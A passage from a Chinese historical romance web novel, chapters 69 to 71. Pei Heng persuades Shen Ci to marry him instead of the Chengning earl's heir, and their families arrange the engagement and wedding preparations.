那些被裴珩关在牢中的富商,如今也没了挣扎的手段,裴珩联合季衍一起,将拐卖的女童这件事也得到了妥善解决。 扬州知府也被下狱查办,事情都在往好的方面发展…原本他们已经决定好,要和舅舅回去金陵的。 谁知竟还有这样的事,舅舅虽然这么说,但看着舅母的书信,她知道外祖母和舅母的意思,沈瓷也明白,承宁伯世子是个良配。 可她,还是觉得这件事太过荒唐,日后大舅母和大表姐,还不知要如何嘲讽她。 沈瓷并不想应承这门亲事,只是这些事,好似已经不是她能够决定的。 今晚表姐和思怡也曾来问过舅舅和她说了什么,她没有隐瞒,表姐和思怡要拉着她一块儿商议,沈瓷没有去。 倒不是不愿,只是她实在头疼,很想好好的静一静。 沈瓷仰躺在床上,看着客栈里并不太精致的床幔,想起了舅舅和她说过的话,又想起了裴珩和她说过的话。 她的包裹底下还压着裴珩送给她的玉佩,因为不知要来扬州多久,临出发的时候,沈瓷为避免被人发现,还是将玉佩给挖了出来。 连带着那些书信一起。 书信尚未拆封,玉佩也从未仔细的看过,但此时此刻沈瓷却有了想要看仔细的冲动。 她罕见的失眠了。 翌日根本没醒来,楚映梦没让人去打扰,只是神色茫然,阿瓷显然很纠结,毕竟这是阿瓷的心事,从前和韩嵩议亲,阿瓷根本不会那么纠结。 她正在犯愁到底要不要将这件事告诉哥哥他们,母亲的书信就又来了… 父亲这一回直接将她们几人全部都喊到了跟前,和他们说起了这件事。 楚映梦心里毛毛躁躁的,不由道:“做什么楚秋灵造的孽,要让阿瓷去赎?” “承宁伯世子口碑风评俱佳,阿瓷嫁给他,倒也不亏。” “哼,承宁伯世子算什么…”楚映梦气呼呼说道,“不就是世子吗?谁家没有似得,除了他承宁伯府,难不成就没别人了?” 楚映梦嘀嘀咕咕的,也不怪她会这么说,谁让那日夜里,她和裴姝两个都暴露了呢,这会儿姐妹俩心里想的可都是这件事。 “你这话是什么意思?”楚恒看向楚映梦,当爹的官场里浮浮沉沉,自然听出女儿话里有话,略略思索了一番后就忍不住看向楚修筠,“难道,你喜欢阿瓷?” 楚修筠直接傻了眼,急忙开口道:“叔父,我只当阿瓷是妹妹。” 楚映梦哭笑不得,她甚至都不知道是要说亲爹想的多,还是要夸赞亲爹提及世子就想到了大哥。 一时间都愣住了。 楚修筠说完的时候,楚恒的心里头竟隐隐的有些遗憾,他瞅了眼楚景澄,甚至连问都懒得多问。 楚映梦着急的不得了,心说爹怎么不再问一问? 这不还有一个啊,也是世子呢! 第69章 第69章嫁我为妻 楚映梦的心思没有人知晓,她也没法告诉旁人,只是苦恼的看着众人,神色哀怨不已。 这事儿到底没商量出什么章程,要看沈瓷的意思,但沈瓷这会儿不在,当舅舅的心没那么细,也没去在意。 除了这件事,楚恒还有不少事要忙,没一会儿就走了。 楚映梦担心沈瓷是不是病了,很想去看看她,但这会儿却不得前往,省得旁人觉察到什么。 而沈瓷根本没有休息好,早早的醒来,整个人依旧茫然无比。 只是她这会没法面对,竟想着躲了起来。 “沈瓷。”门外传来了裴珩的声音,他的声音很好辨认,因为除了他,没人会喊自己的名字。 “裴世子有事吗?”沈瓷冷静的问道,不知道在期待一个怎样的回答,她现在不想见裴珩,偏偏裴珩没有如她所愿。 “有事。” 沈瓷不情不愿的打开了门,看见站在外边的人,“裴世子有什么事吗?” “扬州城里的排水沟渠已经初具雏形,沈姑娘可要去看一看?”裴珩的话说得很好听,对她的称呼也很正常,但是沈瓷还是记得方才他喊自己的名字。 明明知道裴珩也许不是要带她去看什么排水沟渠,沈瓷还是出了门,两人走出客栈。 沈瓷没有说话,但裴珩却看着她开了口,没见半点迂回,“承宁伯府要换亲,你心中是何打算?” 裴珩这话问的有些突兀,沈瓷今日尚未见过舅舅和兄姐,并不知道他们是否说过什么。 但照着沈瓷对舅舅的了解,这件事情他 是不会告诉裴珩的,若是表姐和表哥们… 也不是没有可能… 但她还是觉得有些疑惑,“你是怎么知道的?” 这件事应当不是什么很容易被人知道的事才对。 但裴珩并没有去回答她的话,只是问她究竟是怎么想的。 沈瓷还能如何想? 她沉默不语,裴珩却没有给她一直沉默的机会,他将事情的利弊全部都和沈瓷分析的清清楚楚,每一个人的反应,还有之后会遇到的所有事情,全部都和沈瓷分析清楚。 沈瓷的心里有一些慌乱,想说这些事并非如此,不过是他的臆测。 “即便没有这些事情发生,也还会有别的事情发生。”裴珩说的很平静,而沈瓷也不得不承认,他说的都是事实。 “早在楚秋灵定亲的时候我就和你说过承宁伯世子的为人,他并非良配,同他成亲之后,你要么远离金陵,要么独自一人守在承宁伯府,有了孩子之后独自一人教养孩子,若是个男孩,大概会养在婆母的膝下,若是个女孩,只怕这姑娘不会有什么人疼爱。” 实则世家大族,也不至于如此的重男轻女,即使人人都想要嫡子,可倘若新妇生下的是个嫡女,也会给予诸多疼爱。 但这些事情,沈瓷并不知道,沈毅只有她一个女儿,沈家的那些族亲可没少因为这件事情诟病楚夫人。 沈瓷会被影响,那是理所当然的事情,裴珩明明知道这一点,可说起这些来,那是一点心虚都不曾有。 而沈瓷是接受不了这些的,她有过疼爱她如珍宝的父母,又如何能接受这样的婚姻? 一眼就能看得到头。 沈瓷的脸色苍白一片。 若她先前并不知承宁伯世子的打算,虽然觉得这换亲一事有些荒唐,但若外祖母和舅母劝说,她想自己应该是会答应的。 “倘若都是要嫁人,为何不嫁给我?”裴珩没有太多的耐心,只因为他的耐心早已经消耗殆尽,因为他发现,此路根本行不通。 该说的,不该说的,全部都已经说的够明白。 等沈瓷自己想明白? 她怕是这辈子都不会想明白。 “我说的从不是什么假话,我得心意你再清楚不过,我家中也没那么多的麻烦,裴姝还很喜欢你。”裴珩一点一点的说出自己的优势,至于他的父母。 “我爹娘都是通情达理的人。”裴珩冷静说道,可唯有他自己清楚,根本就没有那么容易的事情。 只是父母在知晓他要来扬州的时候问过他缘由。 裴珩倒也没藏着掖着,谈及自己的野心时并无半点谦虚,只是他原本应该要走的更加温和一些,可谁让他有了别的心思。 裴珩告诉母亲,他有了心仪的人,希望母亲不要反对,永宁候夫人并不知对方是谁,开始细细的排查,裴珩隐瞒的并不算多么走心。 蛛丝马迹那么多,永宁候夫人很快就知道对方是谁。 这件事永宁候夫人算是明白,在裴珩的再三请求之下,当娘的如何能不心软? 自是为他细心的筹谋和打算,谁知还发生了这样的事,远在金陵的永宁候夫人早已经愁的不行。 但她哪里知晓,这些事情都是裴珩刻意为之。 他早就没了诸多耐心。 “你若是应允,我会去求姑父做主,请媒人上门提亲。”裴珩每说一句话,沈瓷的心就颤一分。 她不怀疑裴珩的话,只是心中很茫然,有些难以招架。 和韩嵩议亲的时候,沈瓷没有这样的担心,得知承宁伯府的打算,沈瓷也只是皱眉。 但这一切轮到裴珩的时候,她却觉得不知所措。 沈瓷的情绪没能好好的掩饰,他看的清清楚楚,语调平静的叙述道:“沈瓷,你在害怕什么?” 沈瓷倏然抬眸,看了一眼裴珩,很快就收回自己的视线,倔强道:“没有。” 裴珩也不愿去拆穿她,只是告诉他,总要给彼此一个机会。 “同在金陵,姑姑和姑父都在,你难道害怕我欺负你?” 沈瓷没说话,只是淡淡的别开眼,她害怕的其实并非是这些,“你真心想要娶我?” “自是真心。” “你为何想要娶我?”沈瓷心中很是不解,这话其实问的没有什么道理,裴珩什么都不缺,永宁侯府原本就已经是顶级世家,裴珩自己也同样的优秀,根本不需要图妻子家族什么。 她也一无所有。 裴珩若是想要娶她,大抵是因为喜欢。 纯粹的很。 但也正是因为这份喜欢,让沈瓷茫然不已,裴珩喜欢她什么? 沈瓷审视着自己,发现自己除了长得比旁人好看一些,并无什么优点,从前想要娶她的那些人,也许是因为爹爹,她长得好看只是锦上添花罢了,但是如今… 这似乎不是什么很好的事情,她的话已经问了一半,另一半不问似乎也说不过去,“是因为觉得,我长得不错?” 沈瓷的话音刚落,裴珩就听明白她想说什么,他差点儿要被沈瓷气笑,敢情说了那么许久,自己说的话都是白说的? “沈姑娘过谦,姑娘容色倾城,怎会只是长得不错?”有些话就那么脱口而出,裴珩说罢之后看见沈瓷脸上那清晰可见的茫然。 心又忍不住软了一些。 “沈瓷,你当真没觉得自己有什么特别的吗?”裴珩问的认真,沈瓷脸上神情未变,好似难以理解。 “生活遭逢巨变的从不会只有你一人,一夕之间从高处跌落,可是沈瓷…很少有人会和你一般,这般平静的接受。” 沈瓷听见这话觉得裴珩说的有些不太对,她想说其实不是这般,她没有很平静的接受,她也是被迫的。 “从平江到金陵,你只是感激姑母给了你栖身之所,和映梦思怡成日里待在一处,你也并未觉得有什么失落…” “这不过是很平常的事,事已至此,总是要接受的。” 成日怨怼又有什么意思? “可这并非人人都能办到。”裴珩告诉沈瓷,这本就是一种优点,她能够发现旁人的善意,旁人的不易,还有她的好意。 所以,映梦思怡也许一开始想好好的照顾沈瓷,是因为怜悯,后来大抵是被吸引。 如同他一样。 “沈瓷,这本就是不容易的一件事。” 平常心,哪里有那么容易办到? “所以,在我心中你本就是特别。”裴珩说的认真,他看着沈瓷,又问了一句,“嫁我为妻,可好?” “你可以是永宁侯府的世子夫人。” “但你也可以,永远是沈瓷。” 仿佛没有什么拒绝的理由,至少沈瓷找不到拒绝的理由。 这诱惑实在是太大了些。 第70章 第70章阿瓷,我们以后各论各的…… 裴珩说的每一句话都极具诱惑,而真正打动沈瓷的却是那句:你可以是永宁候府的世子夫人,也永远是沈瓷。 她不知道裴珩是出于什么目的说起这句话的,她只知道自己听见的时候,是真的没有办法当听不见的。 “当真?” “当真。”裴珩神色认真,他告诉沈瓷,她从前是什么模样,成亲之后也可以是什么模样。 “世家宗妇的职责,我信你一定能够办到,而除此之外,你还是 你自己。“裴珩喜欢的人是沈瓷,因为他知道他,认识她的时候,她早已不是什么平江节度使的嫡女。 沈瓷没了拒绝的理由,与其嫁入承宁伯府,她想还是裴珩更合适。 沈瓷应下了婚事,问裴珩他想要怎么办,裴珩半点没隐瞒,说会将此事告知长辈。 沈瓷本以为他会迂回一些,谁知他就在客栈等着楚恒,待楚恒归来,直截了当的告知此事,说他心仪沈瓷,要娶沈瓷为妻,“若姑父应允,小侄便请家父家母上门提亲。” 楚恒才回到客栈,连坐下喝口水的功夫都还不曾有,他听见这话时整个人都傻了,“你说,什么?” “姑父,小侄是真心诚意的。” 楚恒下意识的将茶放远了一些,实在是担心自己一个激动将茶杯给碰翻,“你和阿瓷?这是什么时候的事?” 当真不是楚恒爱打听小辈们的私事,只是这件事实在是有点儿出乎他的意料,“这…这事儿,你爹娘可知晓?” “来扬州之前,父母皆已清楚。”裴珩语气不急不缓,有问必答。 楚恒倒不是怀疑裴珩为什么会看上沈瓷,在他心里自家孩子当然是哪哪儿都好,何况阿瓷又乖巧又听话,被人爱慕那是再正常不过的,但他怎么早不提晚不提的? 这会儿突然说出来? 但联系到最近的事,楚恒也能猜测出一二来。 怕是因为承宁伯府这件事,让孩子沉不住气了,要不然也不至于如此,楚恒很想这个时候去给妻子写封信,偏偏裴珩还杵在跟前。 这件事,他还要问一问沈瓷的意思,楚恒让人去将沈瓷喊来。 沈瓷来的很快,楚恒虽然有点儿尴尬,但该问的事情也全部都问清楚,知道沈瓷也愿意之后,楚恒这才放下心来,“舅舅这就给你舅母写信,让她回绝承宁伯府,若你舅母知道一定高兴。” 楚恒的动作很快,打发走两个孩子之后立刻开始写信。 有些事儿压根就不是秘密,在裴珩不经意的传播之下,半个时辰之后该知道的人都已经知晓,楚映梦和裴姝是激动的。 其余一些人是全然游离在外的。 似乎没想到事情会往这个份上发展,但震惊过后倒也不是不能接受。 “那,阿瓷就不用嫁去承宁伯府了?” “那是不是之后,我们还是一起玩?”楚思怡看了看表哥,又看了看表姐,满心欢喜。 “当然。”楚修筠等人对这个结果那是乐见其成,就是楚景澄的脑回路和旁人不一样,他认认真真的看着表哥,问出了心里的疑问。 “那,我之后要喊阿瓷嫂子吗?” 沈瓷:“……” 这个问题是不是太快了些? “不然呢?”裴珩挑了挑眉,对楚景澄的话有些不满,难不成还辱没了这小子吗? “阿瓷是我的妹妹,阿瓷的丈夫就是我的妹夫,表哥要和阿瓷成亲…”楚景澄掰着手指开始算年纪,然后认真的看向兄长,“表哥,你以后就是我妹夫了,应该喊我二哥。” 裴珩:“……” 众人:“……” 不得不说,楚二公子的脑子是很好使的,很快就从妹妹变成嫂子的危机当中摆脱出来,成功给自己挖了又一个坑。 一群人毫不掩饰的用看勇士一般的目光看向楚景澄,万分的佩服,就连楚景澄也被自己给感动到了。 “你方才说什么?”裴珩的语气冰冷,看向楚景澄的目光也算不上友好,“我没有听得很清楚,你再说一遍?” “没,没什么。”楚景澄有些气短,硬气不过多久便败下阵来,他明白这嫂子是不喊也得喊得,不然以后岂不是要被表哥给打死? 但楚景澄也不愿意太吃亏,说服不了表哥,难道还说服不了妹妹吗? 于是楚景澄很认真的问沈瓷,他们以后能不能各论各的? “什么?”沈瓷有些茫然,完全没听明白。 “我喊你表嫂,你喊我二哥。”楚景澄说的非常认真,这已经是他能够想到的,最好的,最不吃亏的法子了。 沈瓷:“……” 这也行吗? 沈瓷没说话,裴珩的眼中略过隐隐的笑意,他不管沈瓷和楚景澄到底要怎么样各论各的,至少他得让所有人都知晓,以后在他这儿,只能喊沈瓷“嫂子”。 众人对于这样的结果,也只是稍稍的震惊了一会儿,甚至想明白之后,觉得这是个非常不错的主意。 沈瓷原本还以为,姐姐和哥哥们会觉得奇怪… “那,舅舅和舅母什么时候上门提亲?”楚景澄连忙追问,“表哥你要一直待在扬州吗?你什么时候回金陵?” 大抵这就是亲上加亲的好处,原本一些没有办法问出口,或是要花费许久才能知道的事儿,这会儿全能一股脑的追问出来。 裴珩浅浅的勾唇,“等到书信到扬州,便会请爹娘上门提亲。” 若他所料不差,书信应当已经到金陵,母亲知晓后,也会立刻安排的。 楚家的小辈们全部都松了一口气,虽说他们和表哥关系也很好,但是他们这会儿可全部都是娘家人,要站在表妹的这一边。 “大哥,去找一本黄历来,我们看一看。”楚景澄的性子说风就是雨,想到什么就说什么,想起黄历当即就要去找。 楚修筠自己也想看一看黄道吉日,也就顺着楚景澄的话去找历本,于是几人就开始翻起了黄历。 沈瓷看着这一幕都傻了眼,进展这么快的吗? 怎么就到了要看黄道吉日的时候了? 不是应该要下聘,然后合八字吗? “哥哥,你心中属意什么日子?”裴姝没有去凑热闹,反而走过来扯了扯裴珩的衣袖,满脸的认真。 “怎么?” “你偷偷的告诉我,我回金陵之后一定会在爹娘的身边好好的提醒他们的。”裴姝说的非常直白,同时也非常的高兴。 裴珩觉得这是个不错的主意,于是也加入了看黄历的行列。 唯有沈瓷一个,待在一旁,仿佛和所有人都格格不入。 楚恒傍晚时分回到客栈要用膳的时候,发现一个孩子都没瞧见,问过之后才晓得他们全部都聚在一块,本以为是要商量什么大事,走过来一瞧发现他们全部在看黄历。 黄道吉日都已经选出七八个来。 算上了裴珩回金陵的时间。 楚恒:“……” 倒是低估了他们,但是这信他才刚刚寄出去没有多久,没法子那么快得到回应的。 但这会根本没有楚恒插嘴的份,楚大人亲眼看见外甥女站在外围,说了句什么却没有任何人搭理她。 楚恒也就不去自讨没趣,他觉着就算这会儿去了,也是被人嫌弃的份。 * 金陵永宁侯府。 裴珩的书信比楚恒的书信早一步到金陵,永宁候夫人早就知道裴珩的心意,当小姑子告诉她承宁伯府的打算时,永宁候夫人皱起了眉头。 旁敲侧击的告诉小姑子,有些事情不能太着急,总要从长计议。 她不好说的太过,谁让裴珩去扬州之前告诉她,沈瓷还没有答应。 初初听见这话的永宁候夫人实在是忍不住的好奇,她想不明白裴珩怎么就被人给拒绝了。 但转念一想,这也是挺平常的事,人无完人。 要是她自己选儿媳妇,永宁候夫人的确不会考虑沈瓷,倒不是孩子不好,而是她们的想法本就不同,但谁让裴珩自己喜欢? 当母亲的总不能让孩子难受失望? 尤其是裴珩从小到大,从未请求过他们什么,而去扬州之前却那么认真的告诉他们,他有了心仪的姑娘。 思及此,永宁候夫人状若开玩笑的同小姑子提及,亲上加亲也未尝不可。 偏偏裴氏根本没往这方面去想,“…嫂子,映梦已经成亲,思怡…思怡她还小。” 即便裴氏想要偏心自己的孩子,也不得不将事情跟嫂子说清楚。 永宁候夫人:“……” 这事儿给闹的。 她有些嗔怪的看着小姑子,心说平日里看起来挺聪明的一个人,怎么这会儿脑袋这么不灵光? 可再多的话她也不好开口,刚要找点什么借口的时候,裴珩的书信到了,永宁候夫人也不在意小姑子还在跟前,径直就将书信打开,看了一眼便笑了起来。 “我说的亲上加亲,自然是这件事。” 裴氏还有些莫名,瞧见嫂子嫂子递过来的书信之后整个人也有些茫然。 “珩儿和阿瓷?” 他们两个? “两个孩子彼此有意,若是妹妹不反对,不若我们好 好的商议一番婚事如何?“永宁候夫人都已经说的那么明白,裴氏当然听得明白。 很自然的接过话茬,“嫂嫂说的是,不知嫂嫂觉得什么日子合适?” 裴氏笑着开口,她没有想到回了娘家一趟,竟然还有这样的意外之喜。 姑嫂两个商量的很是融洽,这事儿也就商议了七七八八,裴氏原本就想着要给沈瓷找一个好人家,嫁妆早早都已经备下。 永宁侯府这边,裴氏也早早的开始准备。 事情才得以那么顺利。 楚老夫人和裴氏原本还在纠结要不要应允承宁伯府,如今有了更好的选择,自然是回绝的。 当楚恒的书信送回金陵时,永宁侯府已经来下聘了。 沈瓷的婚事裴氏本就上心,先前孩子一直都不怎么在意这些,如今自己应允,裴氏当然高兴不已,何况她的亲事一波三折,私心里她当然要早早的将事儿给定下,免得又生出事端。 事情顺利的让沈瓷有一些恍惚,她甚至都还没有回到金陵,这定亲的事情就已经筹备的差不多。 快的都有一些出乎她意料,毕竟之前定亲可没有那么顺利。 而这一回沈瓷的心里也有了些许期待。 满打满算,这是她3回 定亲,纵然没有特别的在意,沈瓷也是希望这一次定亲可以顺顺利利的。 明明她们人都还在扬州,可这定亲的事情就是异常的顺利,每日从扬州到金陵的书信来来往往有十几封。 沈瓷很想告诉她们,也不着急的,回去金陵之后再谈也来得及。 这话被裴珩听了个正着,裴世子皱了皱眉头,“你不乐意?” 沈瓷摇了摇头,这话要她如何接? “只是觉得,回去也可以商议的。” “那可不成,回去之后还有不少的事情要处理,你还有嫁衣要准备,还有各种回礼…成亲之后迎来送往的宾客,还有宴会要办。”裴珩洋洋洒洒的说了许多,直听得沈瓷头大如斗。 她知晓婚礼繁琐。 毕竟表姐已经出嫁,没吃过猪肉总是见过猪跑的。 但是裴珩为什么那么了解? “自是将一切都打算好,要预留出足够的时间。”裴珩说起这些语气也很平常,“我想早一点娶你回家。” 三书六礼这样的章程,自然是能快则快,可筹备婚礼,当然要仔细准备。 “可婚礼只有一回,我不愿留下任何的遗憾。” 裴珩的话语中,是真挚的心意,沈瓷并非草木,自然听得明白。 她看着裴珩,情绪被逐渐的感染,眼中有些动容,“那…你都做了哪些准备?” “你过来瞧瞧,这些是我先前写的。” “这是什么。” “聘礼的礼单。” 裴珩将一本册子交到沈瓷的手上,同她一块儿细细的看。 沈瓷看着那一本厚厚的册子,有些不知道要怎么翻开,这里头到底有多少的东西?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 第71章【二更】远在扬州,他也用心…… 沈瓷跟随楚恒回到扬州的时候,永宁侯府和忠毅伯府已经商定好了婚期。 婚期在来年的九月,一年的时间,不长也不短。 给了她们足够的时间准备,沈瓷回到府上之后,裴氏 看着她欲言又止,问她裴珩可有没有给她什么信物。 虽然相信侄子,只是这当舅母的总还是有些不放心。 沈瓷将裴珩给的玉佩拿了出来,裴氏瞧见之后整个人都轻松不少,“从前只知道这玉不错,倒是没仔细瞧过。” “今儿一看,果真不差。”裴氏心里高兴,同沈瓷说起永宁侯府给的聘礼,实则沈瓷手中有礼单,几人一块儿去库房查看,细细一瞧,才发现还多了不少的东西。 “舅母,这似乎对了些…”沈瓷有些意外,裴氏倒是笑了。 “傻丫头,不妨事,谁家娶亲不是如此?”裴氏将这些聘礼一一妥帖收好,拿着礼单细细的核对起来,“可不兴给他们省银子,这是他们的诚意。” 裴氏全然忘记永宁侯府是自己娘家,一门心思替沈瓷着想。 “过些日子本就要做冬衣,我让裁缝早些上门,将嫁衣一并做了。” “上头想要什么花样,尽管自己去选,若是选不好我们再想想法子。” 裴氏一边走一边说话,有许许多多的话要吩咐,但实在是太多太杂,只能想起一件说一件。 沈瓷跟在她的身后一直没说话,裴氏说了许久没听见动静,下意识的回头,“怎么了,是舅母说的太快了记不住吗?” “那我慢一些?” 裴氏的话还没说完,沈瓷就上前两步靠近裴氏,亲昵的挽上她的手臂,“谢谢舅母。” 她的声音带了些哽咽,裴氏微微一愣,随即温柔的笑了起来,“真真是个傻孩子。” 有些关系本就很难把握度,多了少了都不成,但沈瓷不同,少了她不会抱怨,多了却会惶恐。 无论何时都是感恩,怎能让裴氏不感动? “我和你阿娘关系极好,她的孩子自然也是我的孩子。”裴氏看了眼沈瓷,眼中满满都是疼爱,“我们阿瓷这般好,几年来日日陪着我,舅母很是高兴。” 沈瓷许久都没说话,只是腻歪在裴氏的身边,软软的依偎着她,直将裴氏的心都软化了。 自从沈瓷和裴珩定亲之后,金陵就掀起了轩然大波,无数的帖子宛如雪花片一般飞向忠毅伯府。 一方面众人想着巴结,另一方面也想看一看沈瓷到底是何方神圣,能得裴珩青睐。 沈瓷不太热衷去宴会,又不知好不好拒绝,便去问舅母的意思,裴氏却让她去问裴珩,“日后有什么事,当然要你们自己商量着来,你瞧瞧映梦不是什么事都和丈夫商议?” 沈瓷没法子,只能斟酌着给裴珩写信。 信的内容很简单,只是说明了情况,而后就是问候。 裴珩收到信的时候觉得沈姑娘有些心不在焉的,这问候也很平常,只问他最近好不好,再无其他,但裴世子并不介意,他安慰自己好歹记着要问候他几句。 至于信里的内容,裴珩只说看她高兴:若乐意就去,若不乐意就不去,不要勉强自己。 他的妹妹从来都是如此,他未来的妻子为何要委屈? 沈瓷想说自己也不算委屈,只是一些人的目的实在是太明显,她不介意去社交,但不愿被人当成猴子围观。 既有了裴珩的首肯,沈瓷当然能拒绝的全部拒绝了。 金陵从不缺热闹事和新鲜事,沈瓷的这一举动也是惹人注目,引来了不少酸言酸语,说她恃宠而骄,还没嫁进门,就开始摆侯府少夫人的款。 她不太在意这些,在平江的时候她还年幼,都不会在乎这些,如今更加不会在乎。 但让沈瓷没想到的是这些言论不过传了几日就销声匿迹,她还以为是众人改了性子,殊不知这一切全是裴珩的功劳。 明明远在扬州,成日里都在忙碌规划,竟还能分出心神来筹备婚礼,近日金陵不少人都能撞见永宁侯府的下人采买,他们分工明确,丝毫不含糊。 掌柜的说起旁的器皿时,则是毫不犹豫的拒绝,“世子说了,只要这一款。” “世子说了,这个不好。” “世子说了,要您家的糕饼。” 这样的言论充斥着金陵许许多多的铺子,有不少掌柜忍不住好奇的问起,“裴世子不是不在金陵吗?” 人人都知道裴珩去了扬州,这事儿根本不是秘密。 那小厮笑的得体,大大方方的回道:“我们世子虽然人不在金陵,但是这婚礼筹备可是一点儿也没有落下,一直写信回来让夫人务必要事事告知,还有许多东西都是写信回来吩咐我们准备…” “这不前些天还有从扬州送来的新奇玩意,说是金陵没有的,要给未来少夫人当聘礼的。” 裴珩从不会因为他不在金陵而对这些事情有所怠慢,他每日不厌其烦的追问,事无巨细的想着,就连永宁侯夫人都忍不住的和女儿抱怨,“我从前怎么不知你哥哥是 这般的?” “大概是因为,他很在乎沈姐姐吧。” 在乎和不在乎,很明显就可以看出来。 从扬州送回来的东西大部分都还堆在库房里,永宁侯夫人本以为是裴珩要送给沈瓷的,结果裴姝抿着嘴笑,说要送的哥哥都已经送了。 这些是要放在聘礼里的。 “他倒是收敛着些,聘礼那么多,要人家如何回嫁妆?” “诺,这儿呢,哥哥都已经准备好了。”裴姝指了指另外一堆送回来的东西道。 永宁侯夫人能想到的事情,裴珩自然也会想到,他也担心嫁妆回不了会徒增尴尬,索性自己全部解决。 永宁侯夫人:“罢了罢了,随他自己折腾,也不嫌累得慌。” “哥哥问家中准备的如何,让我给他回信呢。”裴姝拿着信笺看向母亲。 永宁侯夫人:“……” 当母亲的就算再怎么嫌弃,也不会拆孩子的台,到最后还是如裴珩所愿,让他也全权的参与。 起初所有人都以为,定亲那么快是有什么见不得人的事,结果后来她们才知道,分明只是裴珩想要有更多的时间来准备婚礼,不然按照裴世子这样的架势,哪里忙得过来。 闲言碎语消失之后,沈瓷的生活又恢复了平静,转眼已是深秋,做好的嫁衣已经送来,沈瓷在上头细细的描绘着,她也不知要绣什么才好。 于是… 继宴会的事情之后,她2回 给裴珩写了信。 裴世子每日收到的书信很多,都是长鸣在一旁打理,挑选出最要紧的放在上头,沈瓷的字迹不一样,长鸣想起主子最初收到信时候的模样,毫不犹豫的将沈姑娘的信放在最上头。 这可是未来世子夫人。 当然是要紧事。 裴珩甚少收到沈瓷的书信,说甚少已经很给面子,他一共也就收到过一回,是问他宴会的事,此番收到裴珩的心中还有些头疼,心说这一次又不知是什么事。 打开一看才知沈瓷问他嫁衣上喜欢什么花样。 这,就要好好的说道说道,裴珩不假思索的提笔写下牡丹和并蒂莲。 不仅仅如此,他还亲自绘制了花样。 嫁衣的款式他其实清楚,可裴珩却佯装不知,写信问询。 沈瓷收到书信时,将嫁衣的图样描绘下来寄过去,不久便收到了回信。 裴珩将那些花样全部都花在了嫁衣上,意思很明显,让沈瓷照着这样绣就好。 和铺子里的不太一样,但是很好看。 她便开始着手准备,这衣裳太大,她没法一个人办成,就又送去了成衣铺。 让绣娘们帮忙。 铺子掌柜瞧见后很是惊艳,甚至动了要和沈瓷合作的心思。 沈瓷:“…这是,未婚夫所画。” 同她一点儿关系都不曾有。 掌柜的得知是裴珩所作之后,还暗暗的有些可惜,若今日裴珩在场,她还能厚着脸皮问几句,谁让裴世子不在? 她也只能作罢。 沈瓷将今日的事写信告诉裴珩,等到写完之后,她才有些惊讶自己的举动,很是不一样,但似乎她并不讨厌。 那块玉佩如今不用藏着掖着,它再也不用和那些信件一起藏于黑暗,如今正躺在沈瓷的枕头底下。 那些信件,全部都是没有拆开的,到了这时候她倒也有了想要去看一看的心思。 里头的内容其实很简单,裴珩不过是告诉了沈瓷他每日的所作所为,见到了什么人,看到了什么人,遇到了什么事。 瞧见了怎样的风景。 实则这书信一直都不曾断,如今她每日也能收到。 沈瓷没怎么回过这些信,她不知道该说些什么,便成日里给自己找借口,说她很忙碌。 好在裴珩从未对此有过计较,只一如既往的对待。 沈瓷将书信一封一封的收好,从枕头底下摸出那块玉佩,手指在纹路上轻轻的抚过,上头还有裴珩的名字,她看着那字,脸却渐渐的红了。 她有些烦闷,不知为何会想起裴珩来,这下子玉佩又被迁怒,枕头底下也不藏了,继续待到了黑黑的匣子里头。 只是沈瓷脸上的红晕许久都不曾散去。 * 时间悄无声息的过,转眼到了六月,嫁衣已经绣好了大半,而裴珩也提前从扬州归来。 扬州的水患因为裴珩力排众议得以拓宽沟渠,疏通河道,虽费时费力却效果显著。 四月春汛,虽来势汹汹,好在有惊无险,城内沟渠原本并没有那么快能办成,只是后来百姓们自发和工匠一同劳作,这才提前完工。 新任扬州知府上任时,裴珩便已经决定回金陵。 待回到金陵,等到裴珩的便是加官进爵,帝王龙心大悦,当众问裴珩想要什么赏赐。 这无上殊荣换了旁人大抵要诚惶诚恐。 倒是裴珩还真的认认真真的想了想,他同陛下说自己快要成亲了,能不能准许他多休几日婚假。 此等小事,帝王自然应允。 消息传回府邸时,沈瓷哭笑不得。 永宁侯府的所有人,全部知晓世子对未来的世子夫人到底有多么的看中,一个个心里都有了一杆秤,暗暗的告诫自己,千万不能怠慢。 * 婚礼前一夜,已经出嫁的楚映梦回了娘家,说是要送沈瓷出嫁。 看的沈瓷直皱眉头,“姐姐,你有了身孕怎么还跑回来?” “自然是要回来送你出嫁的。” “早一些晚一些不都一样?我明日本就要来的。”楚映梦摸了摸自己的肚子,告诉沈瓷她好得很,“孩子已经五个月大,不要紧的。” 楚映梦说了不少话才让沈瓷相信,她真的没事,夜里姐妹三人又同从前一样挤在一块儿睡。 “这日子过得就如同做梦一般,阿瓷,日后表哥若是欺负你,你可一定要说出来,我们都会帮你的。”楚映梦说的认真,虽然她觉得表哥其实不会真的欺负阿瓷,但这话还是要先说明白的。 “嗯。”沈瓷低低的应声,想起了裴珩命人送回来的糕点,她起初以为是裴珩特意让她尝尝的,后来才知那是扬州特产,可以存放不少时日,他觉得不错想要作为婚礼的回礼。 也让她尝尝喜欢与否,若是合适就定下。 糕点其实也没什么不同,金陵多的是有名的铺子,她自己都没在意这些,裴珩却在意上了。 这一点一滴的小事,总能不经意的在沈瓷心中留下痕迹,让她一点点的有了期待。 “哎呦。”楚映梦忽然出声,惹得另外两个有些慌乱。 “表姐你怎么了?是哪里不舒服吗?要不要喊大夫?”沈瓷说着话,楚思怡已经想下床去喊丫鬟。 楚映梦立刻拦着两人,“没事没事,不过是孩子动了,我有些惊讶。” “是这样吗?” “动了?” 两人傻傻的看向楚映梦,当姐姐的都要忍不住笑起来,“对,动了,你们要不要摸摸?” 虽是问询,楚映梦却牵着沈瓷的手放在自己的腹部,里头传来了些许轻微动静,沈瓷只觉得神奇。 楚思怡在一旁看的眼热,却又不敢造次,巴巴的看着楚映梦喊她:“姐姐,还有我。” “知道啦。”楚映梦去牵楚思怡的手,楚思怡担心压着姐姐也不敢随便靠过去,便靠在了沈瓷的身上,三人亲密的依偎在一起。 话题全然围绕着未出生的孩子。 楚映梦不知想到了什么,噗嗤一声笑了起来,另外两个疑惑的看了过去。 “你们姐夫一直在等他动…”楚映梦想起季衍认真对着孩子说话的模样,就忍不住想笑。 偏偏一直都没等到。 “那姐夫岂不是要羡慕我们?”楚思怡笑的宛如一只小狐狸。 楚映梦也觉得有意思极了。 “等日后阿瓷有了自己的孩子,孩子们也能一块儿玩。”楚映梦笑着开口,沈瓷的脸唰一下红了。 只觉得浑身都热热的。 